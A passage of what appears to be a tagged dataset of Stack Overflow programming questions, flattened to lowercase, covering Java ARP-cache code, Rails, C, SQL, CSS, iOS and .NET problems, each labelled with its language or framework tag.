if(!clientticketmanager.getauthenticateduser().contains(entryipaddress))         {         if(clientticketmanager.getarpcash().containskey(entryipaddress))         {         string updatecommand= arp -s  +entryipaddress+   +clientticketmanager.getarpcash().get(entryipaddress);          //printcash();         runtime.getruntime().exec(updatecommand);            }         else         {             string deletecommand = arp -d  +entryipaddress;          runtime.getruntime().exec(deletecommand);          }         }         }         catch(exception e)         {          }        }      public static string getsrcaddressfromticket(byte [] ticket)     {          byte [] srcbyte=new byte[4];         system.arraycopy(ticket  16  srcbyte  0  4);           string srcstring=ticketdestination.getipaddressasstring(srcbyte);         return srcstring;     }      public string getsessionkeyfromticket(byte [] ticket)     {         byte [] sessionkeybyte=new byte[16];         system.arraycopy(ticket  0  sessionkeybyte 0  16);         return new string(sessionkeybyte);     }      public void printcash()     {         for(object entry:clientticketmanager.getarpcash().entryset().toarray())         {             system.out.println(entry+   +clientticketmanager.getarpcash().get(entry)+  entry in cash  );         }     }  } </code></pre>,java
why does keyeventargs have virtual properties   i noticed in the documentation of the <a href= http://msdn.microsoft.com/en-us/library/system.windows.forms.keyeventargs%28v=vs.110%29.aspx  rel= nofollow ><code>keyeventargs</code></a> class that it has some odd modifiers on its properties: some are virtual  others are not:   <ul> <li><code>virtual</code>: <code>alt</code>  <code>shift</code></li> <li>normal: <code>control</code>  <code>modifiers</code></li> </ul>   why are <code>alt</code> and <code>shift</code> virtual  whereas the rest are not  i can not think of a good reason for this  certainly because  as far as i can tell  the <code>keyeventargs</code> class is not derived from.,.net
"undefined method `stringify_keys  for object  i am fairly new to the world of ruby and rails (started a week ago  my background is mostly php). i ve got this class here which acts as a factory.    i get the following error :    <strong>undefined method `stringify_keys  for #</strong>    i understand the constructor  (.new) expects a hash instead of an object (why  ) but  although i spent a couple of hours searching the www  i didn t come up with a viable solution at this point.    i just want to inject that soap object into my constructor. that constructor is pretty straightforward  it puts the object parameter in the instance variable that is supposed to store it. i ve been looking for methods that would turn that object into a proper hash but all i saw was a bunch of old posts with rather dirty hacks. i d rather quit programming than use them ^^.    i never thought doing this would cause a headache...    thanks for the tips !    <div class= snippet  data-lang= js  data-hide= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>class webservices::webservicefactory
   def initialize (type  url  login  password  protocol =  soap )
     @type  @protocol  @url  @login  @password = type  protocol  url  login  password
     case @protocol.capitalize
     when  soap  then
       requestor = webservices::soap::soap.new(url  login  password)
     end
 
     @class = @type.constantize.new(requestor)
   end
   
   def getservice
     return @class
   end
 end</code></pre>
 </div>
 </div>",ruby-on-rails
how to use exist database   i have a exist web application build by php.    now i need to rebuild this application by rails.    i already have this following data in database:   <pre><code>-------------------------------------------------- | user_id | user_name         | .....              -------------------------------------------------- | 1       | david             | ..... -------------------------------------------------- | 2       | jobs              | ..... -------------------------------------------------- </code></pre>   i use this following command to generate user model:   <pre><code>rails g model user </code></pre>   and i type columns into user migration file manually:   <pre><code> create_table :users do |t|       t.string :user_name       ...       ...       t.timestamps end  </code></pre>   then i try to use following command to read data:   <pre><code>@users = user.first </code></pre>   but it throw me an error  it show me should use <strong>rake db:migrate</strong> to generate table.    so i think i should export my data and use <strong>rake db:migrate</strong> to build my database structure  and import my data.    it s a little bother for a few table.    but  actually i have too many tables (about 54)  so i must write the 54 migrations manually.   <blockquote>    so  is there a easy way to use exist database   </blockquote>   btw  i use rails4,ruby-on-rails
decided to try my hand with homemade functions in c  i am trying to make a function that gets a string. i successfully made a function called <code>mult()</code> which multiplies numbers together. you can find my code right here:   <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #define max_name_size char *getstring(void); int main (void) {     char *a;     printf( give me your name please\n );     a = getstring();     printf( why hello their  %s   a); } char *getstring(void) {     char x;     fgets(x  max_name_size  stdin); } </code></pre>   and here are my errors   <pre><code>cc     string.c   -o string string.c.c: in function ‘getstring’: string.c:15:24: error: expected expression before ‘ ’ token  fgets(x  max_name_size  stdin);                ^ string.c:15:24: warning: passing argument 1 of ‘fgets’ makes pointer from integer without a cast [enabled by default] in file included from string.c:1:0: /usr/include/stdio.h:622:14: note: expected ‘char * __restrict__’ but argument is of type ‘char’  extern char *fgets (char *__restrict __s  int __n  file *__restrict __stream)       ^ make: *** [string] error 1 </code></pre>  <hr>   solved.<br> i solved it by changing char x; to char *x and also having getstring return x  also i added a size to max_name_size.,c
how to reference field by index on sql   in this sql query:    <pre><code>select name  age  (select sum(something) from sometable where sometable.code = people.code) from people where third_column &gt; 0 </code></pre>   how to reference the result of the third column without having to repeat the sql,sql
.net 4.0 winforms  easy way to get text controls to remember previous input   i want my text box controls to remember previous input and have intellisense  like web control inputs.     is there a quick  free and easy to implement solution to this,.net
is there a simple way that i can detect when angularjs has an ajax call in progress   is there a way i can detect when there s an $http or $resource call in progress so that i can show something to the user to indicate that my code is waiting for a reply. ideally i would like something that could be put in the one place. not something that i would need to put into the code at the start and finish of every call.,angularjs
objective-c convert &#263 to ć <blockquote>    when  coding  i  have a problem  like this:  </blockquote>   the  string   just like :@krunoslav margi&#263;      i wonder how to  convert &amp;#263  to   ć     i don t know what  encoding can work.,objective-c
html wrap text around image in div  i have document that looks like this: <a href= https://i.stack.imgur.com/yoiwx.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/yoiwx.png  alt=  ></a>    and i want to get the <code>my text</code> to  be beside the image  like this: <a href= https://i.stack.imgur.com/su70a.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/su70a.png  alt= enter image description here ></a>    note that i can t use <code>position: absolute;</code> because that will make the image position vary between devices.    html:   <pre><code>&lt;div id= img &gt; &lt;img src= https://upload.wikimedia.org/wikipedia/commons/0/01/aloe_vera_%284759242525%29.jpg  height= 50%  width= auto  &gt;&lt;/img&gt; &lt;/div&gt; &lt;h1&gt;my text&lt;/h1&gt; </code></pre>   css:   <pre><code>div#img{     position: relative;     left: 500px; } </code></pre>,html
expression did not evaluate to a constant error code  so i am trying to learn c and i am trying to make this code so it will sort of the array s elements from lowest to highest  it s obviously not complete but i just wanted to see the random numbers printed.    anyway  i am getting an error e0028 &amp; c2131 (visual studios) that says  expression must have a constant value  &amp;  expression did not evaluate to a constant.  the <code>int goals[howmany];</code>is where vs is telling me i have an error    <pre><code>int main() {     int i  temp  swapped;     int howmany = 10;     int goals[howmany];      for (i = 0; i &lt; howmany; i++) {         goals[i] = (rand() % 25) + 1;      }      printf( original list\n );         for (i = 0; i &lt; howmany; i++) {             printf( %d \n   goals[i]);         }     return 0; } </code></pre>   this is exactly how the code is written out in the tutorial i am watching and they are using code:blocks. i know sometimes those two compilers can be different but i was hoping someone can let me know what s going on or how to fix this.,c
how can i only allow updating of nil attributes for a rails activerecord object   i have an activerecord object with multiple attributes that are allowed to be nil on creation and can later be updated by the user through a form. however  once an attribute is changed from nil to non-nil  that attribute may not be updated again. how should i go about setting up this behavior,ruby-on-rails
button is apparently not in the class i defined it to be in  <a href= http://i.stack.imgur.com/nqm3s.jpg  rel= nofollow >image</a>    so as you can see in the image above  the history button is not affected by the black outlines like the other buttons is. apparently the button is not in the class but as you can see in the code below it is.   <pre><code>&lt;div class= container  id= main-container &gt;     &lt;div class= row main-row &gt;         &lt;div class= col-sm-3 &gt;             &lt;div style= padding-top: 10px; margin-bottom: 20px; &gt;                 &lt;div id= topleft-menu &gt;menu&lt;/div&gt;                 &lt;div class= topleft-link-wrapper logout  style= display: none; &gt;                     &lt;button class= topleft-link btn btn-primary btn-block  id= change-trade-url-btn &gt;&lt;span class= glyphicon glyphicon-pencil &gt;&lt;/span&gt; change your trade url&lt;/button&gt;                 &lt;/div&gt;                 &lt;div class= topleft-link-wrapper &gt;                     &lt;button class= topleft-link btn btn-info btn-block  data-toggle= modal  data-target= #about-modal &gt;&lt;span class= glyphicon glyphicon-list-alt &gt;&lt;/span&gt; about/how it works&lt;/button&gt;                 &lt;/div&gt;                 &lt;div class= topleft-link-wrapper &gt;                     &lt;button class= topleft-link btn btn-warning btn-block  id= support-btn &gt;&lt;span class= glyphicon glyphicon-question-sign &gt;&lt;/span&gt; support&lt;/button&gt;                 &lt;/div&gt;                 &lt;div class= topleft-link-wrapper &gt;                     &lt;button class= topleft-link btn btn-default btn-block  id= donate-btn &gt;&lt;span class= glyphicon glyphicon-usd &gt;&lt;/span&gt; donate&lt;/button&gt;                 &lt;/div&gt;                 &lt;div class= topleft-link-wrapper &gt;                     &lt;button class= topleft-link btn btn-success btn-block  id= history-btn &gt;&lt;span class= glyphicon glyphicon-list &gt;&lt;/span&gt; history&lt;/button&gt;                 &lt;/div&gt; </code></pre>   i don t know why this problem occurs. also if you wanna inspect the site visit; <a href= http://csgoxd.net  rel= nofollow >www.csgoxd.net</a>,html
how to stop repeating of android viewflipper slideshow without user interaction   i have a viewflipper set to auto-flip every 5 seconds. leaving out some of the details  it looks like this and works fine:   <pre><code>for (string photo : imgpaths) {     imageview image = new imageview(getapplicationcontext());     bitmap bmp = utility.decodefile(new file(photo));     image.setimagebitmap(bmp);     imageflipper.addview(image); }  imageflipper.setflipinterval(5000); // 5s intervals imageflipper.startflipping(); </code></pre>   but i have to stop this slideshow after view last image and i have not using any user action to stop or start slideshow.everything should work automatically. how can i do it  thanks,android
how to set height/width in iframe using class   why doesn t the following iframe adhere to these class rules    <pre><code>&lt;script type= text/css &gt;  .videodimensions{height:480;width:240}; &lt;/script&gt;  &lt;iframe class= videodimensions  src=   frameborder= 1  allowfullscreen showinfo= 0 &gt;&lt;/iframe&gt; </code></pre>   <a href= http://jsfiddle.net/v8zdr/1/  rel= nofollow >http://jsfiddle.net/v8zdr/1/</a>,css
how can i detect if there is a floppy in a drive   i tried to use driveinfo.isready  but it returns false if an unformatted floppy is in the drive.,.net
calling specific object from a table in ruby on rails  right now  i am trying to show a scoreboard at the end of a quiz of how all users scored on that specific quiz. to do so  i am calling the index and displaying username  category  and score:    <pre><code> &lt;% @participations.each_with_index do |participation  index| %&gt;     &lt;tr&gt;       &lt;td&gt;#&lt;%= index + 1 %&gt;&lt;/td&gt;       &lt;td&gt;&lt;%= participation.user.username %&gt;&lt;/td&gt;       &lt;td&gt;&lt;%= participation.category %&gt;&lt;/td&gt;       &lt;td&gt;&lt;%= participation.score %&gt;&lt;/td&gt;     &lt;/tr&gt;   &lt;% end %&gt; </code></pre>   by calling the index though  it is showing all scores in the participation model. for instance  if i have three quiz categories: history  sports  and business  it would show scores for all three of those categories in this table.     to fix this  i believe i need to call a specific object -- in this case  the  history  category column -- to filter the scoreboard table for scores for that quiz. is that possible by altering the index query      side note: the participations table looks like this after the migration:    <pre><code>  class createparticipations &lt; activerecord::migration     def change       create_table :participations do |t|         t.references :user         t.string :category         t.boolean :finished  default: false         t.integer :current_question_index  default: 0         t.integer :score  default: 0         t.timestamps     end   end end  </code></pre>   scoreboard controller:    <pre><code> class scoreboardcontroller &lt; applicationcontroller    def index      @participations = participation.where(finished: true).order(score: :desc)        end    end </code></pre>,ruby-on-rails
how to convert object instance to generic type   in a method i have an object like this:   <pre><code>activator.createinstance(type.gettype(targetobject)) </code></pre>   and i need to pass this object to the other class that accept generic type:   <pre><code>public class repository&lt;t&gt; where t : class { } </code></pre>   how can i use this object as t to repository class,c#
when setting a link in a paragraph to  display: inline-block   then selecting/highlighting the entire paragraph  a little block appears over the link   <a href= http://jsfiddle.net/nicktheandroid/3lxrr/  rel= nofollow >http://jsfiddle.net/nicktheandroid/3lxrr/</a>    when highlighting a paragraph containing a link that s set to  display:inline-block   there appears a little white block over the top of the link ( when it s selected/highlighted). press ctrl+a to select everything on the page and you ll see what the problem is.    if i change the line-height down to 16px - it goes away  but the line-height for the paragraph and the link are the same. i need the link to be displayed as an inline-block because i have tool tips that pop up  and if the link gets split in half by a new line  the tool tip appears in the middle of the page  so inline-block is a must.,css
mysql join and where - what s wrong my with query  i m trying to fetch some user data from my two tables. any idea what s wrong  any help is appreciated.   <blockquote>    <strong>error message:</strong>        unknown column  a3p_user_fields.user_id  i tabel field list  </blockquote>   <strong>my tables:</strong>   <pre><code>**a3p_user_fields**  user_id   field_title   field_job_title   field_education   field_experience   field_hourly_wage   field_support   field_fee   field_description   **a3p_usermeta**  umeta_id   user_id   meta_key   meta_value </code></pre>   <strong>my query:</strong>   <pre><code>    select `a3p_user_fields.user_id`  `a3p_user_fields.field_job_title`      `a3p_user_fields.field_education`  `a3p_user_fields.field_experience`      `a3p_user_fields.field_hourly_wage`  `a3p_usermeta.meta_key` from     `a3p_user_fields` inner join `a3p_usermeta`     on `a3p_user_fields.user_id` =  a3p_usermeta.user_id`     where `a3p_user_fields.field_title` =  gartner      and `a3p_usermeta.meta_key` =  candidate_flexjob  and `a3p_usermeta.metavalue` =  ja     order by `a3p_user_fields.user_id` asc </code></pre>,mysql
swipe image click on right button and left button in iphone  i am a newbie to <code>ios</code> programming and currently i have a image application with swipe images on <code>uiview</code>. i have questions.    i want to swipe image to right when click on right <code>button</code> and swipe image to left when click left <code>button</code> in iphone.   i am using this code:-    .h file    <pre><code>#import&lt;uikit/uikit.h&gt;  @interface flashviewcontroller : uiviewcontroller&lt;uiscrollviewdelegate&gt;  @property (nonatomic  strong) iboutlet uiscrollview *scrollview;  @property (nonatomic  strong) iboutlet uipagecontrol *pagecontrol;  @property (nonatomic  strong) nsarray *pageimages;  @property (nonatomic  strong) nsmutablearray *pageviews;  @property(nonatomic strong) iboutlet uibutton *next;  @property(nonatomic strong) iboutlet uibutton *previous;  -(void)loadvisiblepages;  -(void)loadpage:(nsinteger)page;  -(void)purgepage:(nsinteger)page;  -(ibaction)next:(id)sender;  -(ibaction)previos:(id)sender;  -(ibaction)skipes:(id)sender; @end </code></pre>,iphone
how to make this sum  client server udp  i have a client that send to a server two integers: the server have to sum them and send again the result to the client. i don t understand how can i do this sum because i don t have two integers but:   <pre><code>public class udpserver {  public static void main(string args[]) throws exception {   datagramsocket serversocket= new datagramsocket(1200);    byte[] receivedataa = new byte[4]; byte[] receivedatab = new byte[4];  byte[] senddatasum = new byte[4];//  = new byte[1024];    while(true) {       datagrampacket receivepacketa = new datagrampacket(receivedataa  receivedataa.length);      serversocket.receive(receivepacketa);       datagrampacket receivepacketb = new datagrampacket(receivedataa  receivedataa.length);      serversocket.receive(receivepacketb);      string a = new string(receivepacketa.getdata()  0  receivepacketa.getlength());      string b = new string(receivepacketb.getdata()  0  receivepacketb.getlength());       /*here i have to make the sum..how      */       inetaddress ipaddress = receivepacketa.getaddress();       int port = receivepacketa.getport();      datagrampacket sendpacketsum = new  datagrampacket(senddatasum  senddatasum.length  ipaddress  port);       serversocket.send(sendpacketsum);      }   } </code></pre>   },java
setting constraints for dynamic type for 5 labels  we have a tableviewcell and 5 labels in to it.    3 labels goes vertically to the left side(label #2 is in the middle) and 2 goes vertically to the right side(one label is on the top  another on the bottom). i wonder  what constraints are needed to get properly working labels when user changes text size,ios
how to implement methods found in the mac developer library  i m a totally new to objective c programming and just need to check how would i implement something i find on the mac developer library. for example i found this code in the mac developer library:   <pre><code>- (bool)containsobject:(id)anobject </code></pre>   are the steps i need to implement this method    <ol> <li> in the .h file add    <code>-(bool)containsobject:(id)anobject;</code> </li> </ol>   then in the .m file implement it like this;   <pre><code>- (bool)containsobject:(id)anobject {    //what do i place here to search my array with the objects     return yes; } </code></pre>   can someone help me with an example how i would search an array of numbers and use this method     this is my array:   <pre><code>nsarray *first;  first = [nsarray arraywithobjects:1 2 3 4 5  nil]; </code></pre>,objective-c
calling framework 4.0 from 3.5 framework  i have an http module  written in framework 4.0 i am saving the value in cookies i am calling the http module in framework 3.5 is it possible to do like this whats things should be taken into account while doing this     any help on this would be great and much appreciated,asp.net
passing nested parameters to an ajax get request  in a rails 5.1 app (without jquery) how can i pass nested params via a get ajax request     i have the following   <pre><code>rails.ajax({   url: select.getattribute( data-url ) +   xxx     type:  get  }); </code></pre>   if i replace <code>xxx</code> with  for instance  <code>pippo=pluto</code>  in my controller    <pre><code>params[:name] #=&gt;  pluto  </code></pre>   however  in my controller  i need to be able to access a nested param as below.   <pre><code>params[:user][:name] #=&gt;  pluto  </code></pre>   it seems a simple problem but i cannot find a solution.    here my js   <pre><code>  document.addeventlistener( turbolinks:load   function() {     var select = document.queryselector( select[name= user[name] ] )     if(select.options[select.selectedindex].value) {        rails.ajax({         url: select.getattribute( data-url )          type:  get           data: {           user: {             name: select.options[select.selectedindex].value           }        }       });     }   }); </code></pre>   which produces (user[:name] is always selected)   <pre><code>{ object object =&gt;nil   controller =&gt; steps    action =&gt; index } permitted: false&gt; </code></pre>   the query string works fine (but is ugly)   <pre><code>rails.ajax({         url: select.getattribute( data-url ) +   user[name]=  + select.options[select.selectedindex].value          type:  get        }); </code></pre>   side question: to avoid the ajax request in the first place is there an alternative way to automatically trigger the request of the select below when the page is loaded  currently  it is triggered only when the selected option changes   <pre><code>&lt;%= f.select :user  myusers.all  { data: { remote: true  url: duplicate_users_path } } %&gt; </code></pre>,ruby-on-rails
how to combine two has_many associations for an instance and a collection in rails   i m having trouble combining two <code>has_many</code> relations. here are my associations currently:   <pre><code>def note   belongs_to :user   belongs_to :robot end  def user   has_many :notes   belongs_to :group end  def robot   has_many :notes   belongs_to :group end  def group  has_many :users  has_many :robots   has_many :user_notes  class_name:  note   through: :users  source: :notes  has_many :robot_notes  class_name:  note   through: :robots  source: :notes end </code></pre>   i d like to be able to get all notes  both from the user and the robots  at the same time. the way i currently do that is:   <pre><code>def notes   note.where(id: (user_notes.ids + robot_notes.ids)) end </code></pre>   this works  but i don t know a clever way of getting all notes for a given collection of groups (without calling <code>#collect</code> for efficiency purposes).    i would like the following to return all user/robot notes for each group in the collection   <pre><code>group.all.notes </code></pre>   <strong>is there a way to do this in a single query without looping through each group </strong>,ruby-on-rails
call the viewmodel in uipageviewcontroller swift  in tabbarcontroller class i need to call the uipageviewcontroller.and i am doing in mvvm method.   <pre><code> let homeviewcontroller:homepagecontrollerviewcontroller = homepagecontrollerviewcontroller(nibname: homepagecontrollerviewcontroller   bundle: nil) </code></pre>   in pageviewcontroller.....class i need to get the data from viewmodel . my model:-   <pre><code>var name :string!     var price :string!     var desc: string!     var imageurl :string!     var dealstype:string!     var type:string!        init (dictionary :jsondictionary) {          guard let name = dictionary[ name ] as  string              let price = dictionary[ price ] as  string              let desc = dictionary[ description ] as  string              let imageurl = dictionary[ imageurl ] as  string              let type  = dictionary[ type ] as  string              let dealstype = dictionary[ dealstype ] as  string else {                 return         }          self.name = name         self.desc = desc          self.imageurl = imageurl         self.dealstype = dealstype         self.price = price         self.type = type     } </code></pre>   my datasourcemodel:-   <pre><code>var datalistarray:array&lt;homemodel&gt;  = []       init(array :array&lt;[string:any]&gt; ) {         super.init()         var newarray:array&lt;[string:any]&gt; = []         if array == nil{                newarray = self.getjsondatastored()               print(newarray.count)          }         else{            newarray = array!          }          var datalist:array&lt;qm_homemodel&gt; = []         for dict in newarray{              let model = homemodel(dictionary: dict)              datalist.append(model!)         }         self.datalistarray = datalist     }  }  typealias dummydatasource = homedatasourcemodel extension dummydatasource{      func getjsondatastored() -&gt;array&lt;dictionary&lt;string string&gt;&gt;{          let jsonarray = [[ name :   location :    description :    price : q78   dealstype : best   type : moms kitchen   imageurl :  ] [ name : best deals   location : india   description :    price : q78   dealstype :    type :    imageurl :  ] [ name :    location :    description : welcome   price : q78   dealstype : best   type :    imageurl :  ]] as array&lt;dictionary&lt;string string&gt;&gt;          return jsonarray     }  } </code></pre>   myviewmodel:-   <pre><code> var datasourcemodel:homedatasourcemodel        init(withdatasource  newdatasourcemodel:homedatasourcemodel){         datasourcemodel = newdatasourcemodel         print(datasourcemodel.datalistarray .count)     }       func datafordisplay(atindex index: int) -&gt; homemodel {         return  datasourcemodel.datalistarray![index]      }        func countnumber(count:int) -&gt; int {           return (datasourcemodel.datalistarray .count)!     } </code></pre>   as according i got the data and count but i need to call in uipageviewcontroller how i need to the data from the viewmodel and i need to set in the pagecontrol,ios
nsuserdefault doubts in iphone sdk  i have a text held in my main view and a button next to textiew  when i click the button it popup a popoverviewcontroler in my popover controller view there is some text in a tableview(high low medium flair)i want when the user tap the high it needs to lot in the main textfield but i tried nsuserdefault in the diselect row at index path.but nothing happen when i click the tableiew.how can i do this. my code    <pre><code>nsstring *strr = @ high ;//i put the static value    - (void)tableview:(uitableview *)tableview didselectrowatindexpath:(nsindexpath *)indexpath {      [[nsuserdefaults standarduserdefaults] setobject:strr forkey:@ flair ];     [[nsuserdefaults standarduserdefaults] synchronize]; } </code></pre>   this code is in popoveriewconteroler and in my main view   <pre><code>- (void)viewdidload {     [super viewdidload]; nsstring *strr = [[nsuserdefaults standarduserdefaults] objectforkey:@ flair ];     textfiled.text = strr; } </code></pre>   when i go back to another page and comes back it lodes the high in the text filed.but i my red is when the user tap the popoveriewcontroller  tableviewcell it changes the text filed value at the same time.is this possible. thanks in advance.,iphone
simple ball animation in android  i have a simple ball view which i want to animate ( bounce ). i have this method in my activity:    <pre><code>public void beginanimation() {     boolean boola = true;     while(boola) {         try {             thread.sleep(10);             ball.sety(ball.gety() + 10);         } catch (interruptedexception e) {             e.printstacktrace();         }         if (ball.gety() &gt; 200) {             boola = false;         }     }  } </code></pre>   when i call it from oncreate()  the animation is not being shown up  it seems that i need a special thread for this  but since threads cannot modify ui elements  how can i fix this  thanks!,android
objective c: what s the easiest way to determine if a substring exists within an nsstring   in php (which is what i m most familiar with) it s a one line expression:   <pre><code>strpos( abc    b ) !== false </code></pre>   what s the objective c equivalent,objective-c
i need help on a really simple thing  how to build an interface like <a href= http://www.macstories.net/wp-content/uploads/u1/twitterrific%204.4.3/twitterrific%204.4.3%20use%20last%20photo.png  rel= nofollow >this</a>     i noticed i have no idea how to google search for this thing....,objective-c
adding a function to an object array in jquery  i m trying to build this:   <pre><code>var words = [   {text:  lorem   weight: 13  handlers: {     click: function() {       alert( you clicked the word ! );     }   }}    {text:  ipsum   weight: 10.5}    {text:  dolor   weight: 9.4}    /* ... */ ]; </code></pre>   i m building the words array with  text  and  weight  parseing xml with an .each and using:   <pre><code>   var text = $(this).find( text ).text();    var weight = $(this).find( weight ).text();     word = {          text: text           weight: weight            }     keywords.push(word); </code></pre>   but how do i add the handler s property in the above code,jquery
autosave form fields for every 15 sec in agularjs without using $watch  i want to save a form field values every 15 sec with out using $watch and also it should stop executing once it has been moved  to a different form. in the form i will be having many fields so i think $ watch will be having performance issue and also am not sure how to call all fields at once for %watch. so i decided to use $interval but i want to stop this execution once i moved to different controller or different form. if user comes back again to this form again this interval function should start automatically. please would you suggest me best way to handle this.,angularjs
build up a string of permutations in an array  i have a sanctions api that i need to call  passing in a string of values. these values are constructed as follows:   <pre><code>string searchstring = string.join(     mylist.toarray()); // remove any numbers and return complete words matccollection strmatch = regex.matches(searchstring  @ [^\w\d]+ );  var values = strmatch.cast&lt;group&gt;().select(g =&gt; g.value).toarray();  var combinations = values.permutations(); </code></pre>   now  that i have the array i need  i call the permutations method below:   <pre><code>public static ienumerable&lt;ienumerable&lt;t&gt;&gt; permutations&lt;t&gt;(this ienumerable&lt;t&gt; source)     {         if (source == null)             throw new argumentexception( source );         return permutations(source.toarray());     } </code></pre>   the permutations method is:   <pre><code>private static ienumerable&lt;ienumerable&lt;t&gt;&gt; permutations&lt;t&gt;(ienumerable&lt;t&gt; source)     {         var c = source.count();         if (c == 1)             yield return source;         else             for (int i = 0; i &lt; c; i++)                 foreach (var p in permutations(source.take(i).concat(source.skip(i + 1))))                     yield return source.skip(i).take(1).concat(p);     } </code></pre>   with a example list of 7 items {one two three four five six seven} this code returns numerous list of 7 elements in lenght.    what i need to create is the following:    first iteration:    return result = one    second iteration return result = one +     + two    so on and so    i got the above exmple code from a post on so  so don t know how to change it properly to get what i need.,c#
node.js seems not work in ruby 1.8.7 and rails 3.1.0  i have installed <strong>ruby 1.8.7</strong> and <strong>rails 3.1.0</strong>.      when i do rails s this error is triggered.   <pre><code>alberto@alberto:~/screencast/tasks$ rails s      /home/alberto/.rvm/gems/ree-1.8.7-2012.02@screencast/gems/execjs-2.1.0/lib/execjs.rb:2:in `require : /home/alberto/.rvm/gems/ree-1.8.7-  2012.02@screencast/gems/execjs-2.1.0/lib/execjs/runtimes.rb:22: syntax error  unexpected   :   expecting  )  (syntaxerror)       name:         node.js (v8)              ^        /home/alberto/.rvm/gems/ree-1.8.7-2012.02@screencast/gems/execjs-2.1.0/lib/execjs/runtimes.rb:22: syntax error  unexpected      expecting kend       /home/alberto/.rvm/gems/ree-1.8.7-2012.02@screencast/gems/execjs-  2.1.0/lib/execjs/runtimes.rb:23: syntax error  unexpected      expecting kend      /home/alberto/.rvm/gems/ree-1.8.7-2012.02@screencast/gems/execjs-    2.1.0/lib/execjs/runtimes.rb:24: syntax error  unexpected      expecting kend /home/alberto/.rvm/gems/ree-1.8.7-2012.02@screencast/gems/execjs-2.1.0/lib/execjs/runtimes.rb:26: syntax error  unexpected  )   expecting kend      /home/alberto/.rvm/gems/ree-1.8.7-2012.02@screencast/gems/execjs-       2.1.0/lib/execjs/runtimes.rb:29: syntax error  unexpected  :   expecting  )        name:         javascriptcore              ^       /home/alberto/.rvm/gems/ree-1.8.7-2012.02@screencast/gems/execjs- 2.1.0/lib/execjs/runtimes.rb:29: syntax error  unexpected      expecting kend       /home/alberto/.rvm/gems/ree-1.8.7-2012.02@screencast/gems/execjs-  2.1.0/lib/execjs/runtimes.rb:30: syntax error  unexpected      expecting kend       /home/alberto/.rvm/gems/ree-1.8.7-2012.02@screencast/gems/execjs- 2.1.0/lib/execjs/runtimes.rb:32: syntax error  unexpected  )   expecting kend       /home/alberto/.rvm/gems/ree-1.8.7-2012.02@screencast/gems/execjs-  2.1.0/lib/execjs/runtimes.rb:35: syntax error  unexpected  :   expecting  )        name:         spidermonkey              ^ </code></pre>,ruby-on-rails
choose postback url of according to situation  i control if a user exist in database. if it dont exist  i want to stay login page. if it  exist  i want to go default.aspx page.   <pre><code>protected void btnlogin_click(object sender  eventargs e) {     if(condition is okey)     {          // go default.aspx     }       else     {          //stay this page     } } </code></pre>   what can i write on comment lines to achive this   thanks!,asp.net
restart an application on crash  i need to restart my application if an unhandled exception occurs. i d like to mimic office applications like word or even visual studio which  when an application crashes or hangs (stops responding)  shows a pop-up and asks the user whether he d like to restart the app or kill it.    i m not sure how it s done since it s possible that my app has completely and utterly crashes (as explained <a href= https://stackoverflow.com/questions/10282012/exception-on-native-thread-crashes-net-application-without-exception >here</a>). right now i thinking some form of watchdog or launcher app  but my gut tells me that this isn t the way the applications i mentioned do it.    so any light on the  best  or  mostly accepted  way of doing it would be greatly appreciated.    as always  thanks all for the attention.,.net
how to insert multiple value in vector in c++   i want to know that is there any way that we can insert a multiple values in a vector as a single value without using a temp variable     i mean for example:   <pre><code>struct something{     int x;     int y; }; int main() {       vector &lt;something&gt; v;     int x  y;     cin &gt;&gt; x &gt;&gt; y;     v.push_back(x  y); } </code></pre>   is there any way that we avoid doing this(defining another variable  then inserting that  instead of insert <code>x  y</code> directly):   <pre><code>something temp; temp.x = x; temp.y = y; v.push_back(temp); </code></pre>,c++
finding similar data and putting them on separate list  i have bunch of data points (x y z) in an array:   <pre><code>[58.9067649841309  57.8828468322754  -50.0] [63.3353118896484  62.7399787902832  -50.0] [73.3353118896484  62.8352203369141  -50.0] ... [75.9067916870117  39.9781227111816  -15.0] [77.5257720947266  58.3114356994629  -15.0] [58.9067649841309  57.8828468322754  -15.0] </code></pre>   and need to find the points that have matching y and put them in a separate lists.  i have done few hours of searching with various methods without luck.    update: sorry  i wasn t clear  i can group them using the sort function but can t figure how to put them in a separate list.,python
checking if nullable ulong hasvalue in c# <pre><code>public static string getbucket(ulong  itemvalue) {                 if!(itemvalue.hasvalue)     {     return string.empty;     }     } </code></pre>   is this a viable way to check if a variable of data type ulong does not contain a value.,c#
domdocument::createelement(): unterminated entity reference （php)  i tried this code in php;   <pre><code>$oitem-&gt;appendchild($odom-&gt;createelement( link   $iitem-&gt;item($i)-&gt;getelementsbytagname( affiliateurl )-&gt;item(0)-&gt;nodevalue)); </code></pre>   but it shows error   <blockquote>    domdocument::createelement(): unterminated entity reference  </blockquote>   is this because of getelementsbytagname contain <code>&lt; &gt;</code>      please advise how to fix it     that tag is:   <pre><code>&lt;affiliateurl&gt;http://hb.afl.rakuten.co.jp/hgc/sd0ps992.2asad607.g00ps016.2asfefe9/ pc=http%3a%2f%2fitem.rakuten.co.jp%2fmarukans%2fno11-1%2f&amp;m=http%3a%2f%2fm.rakuten.co.jp%2fmarukans%2fi%2f10000152%2f&lt;/affiliateurl&gt; </code></pre>   thank you for your help.,php
is there any way to get notified when some application is completely installed or uninstalled  i am trying to get the notification of an application which is completely installed/uninstall by using wmi win32_product class. is there any other way of doing that in c#,c#
how to retain css button color  my css code is:   <pre><code>.horizontalcssmenu ul{     margin: 0;     padding: 0;     list-style-type: none;     list-style:none; }  .horizontalcssmenu ul  a:active{     color: #00ffff;     background: #ff0033;     text-decoration: none; }  /*top level list items*/ .horizontalcssmenu ul li{     position: relative;     display: inline;     float: left;     height: 34px;     top: 25px;     left: 111px;     width: 71px;     margin-left: 0px; }  .horizontalcssmenu ul li a:active{     color: #00ffff;     background: #ff0033;     text-decoration: none; }  /*top level menu link items style*/ .horizontalcssmenu ul li a{     border-left: 2px solid #202020;     border-right: 2px solid #202020;     border-top: 2px solid #202020;     border-bottom: 2px solid #202020;     display: block;     width: 54px; /*width of top level menu link items*/     padding: 2px 8px;     text-decoration: none;     background: url(menubg.gif) center center repeat-x;     color: red;     font: bold 13px tahoma;     height: 27px;     margin-left: 0px; }  /*sub level menu*/ .horizontalcssmenu ul li ul{     left: 0;     top: 0;     border-top: 1px solid #202020;     position: absolute;     display: block;     visibility: hidden;     z-index: 100; }  .horizontalcssmenu ul li 